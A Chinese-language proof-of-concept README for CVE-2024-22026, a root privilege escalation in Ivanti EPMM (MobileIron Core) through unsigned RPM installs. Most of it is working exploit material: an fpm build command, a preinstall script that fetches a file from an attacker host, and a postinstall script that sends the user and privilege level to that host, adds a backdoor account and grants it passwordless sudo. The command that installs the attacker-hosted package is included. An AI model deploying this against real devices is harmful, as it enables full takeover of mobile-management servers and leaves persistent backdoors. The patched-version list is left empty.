影响 Ivanti EPMM "MobileIron Core" 的 CVE-2024-22026 漏洞利用 POC

CVE-2024-22026 是 Ivanti EPMM(原 MobileIron)服务器版本 12.1.0.0、12.0.0.0 和 11.12.0.1 之前的一个本地权限提升漏洞。该漏洞允许本地攻击者通过利用软件更新过程,从远程 URL 安装恶意 RPM 包,从而获得系统的 root 访问权限。
阅读完整博文以获取详细技术信息:利用 CVE-2024-22026:获取 Ivanti EPMM(MobileIron Core)的 root 权限
在我们的研究过程中,我们发现该设备以低权限用户身份使用以下命令获取并安装 RPM 包:
install rpm url <remote url>
上述命令只是 CLI 包装器,实际执行的是以下以 root 身份运行的操作:
/bin/rpm -Uvh *.rpm
底层 rpm 命令不执行任何签名验证或 URL 过滤,这意味着可以安装任意 RPM 包。这使得攻击者能够伪造并投递可危害设备的恶意 RPM 包。
以下命令用于创建恶意 RPM 包:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
要利用该漏洞,攻击者需在 CLI 中运行以下命令来获取并安装恶意 RPM:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti 已发布补丁以解决 CVE-2024-22026,修复版本如下:
本仓库及其内容仅供教育和研究目的使用。使用此处包含的信息风险自负。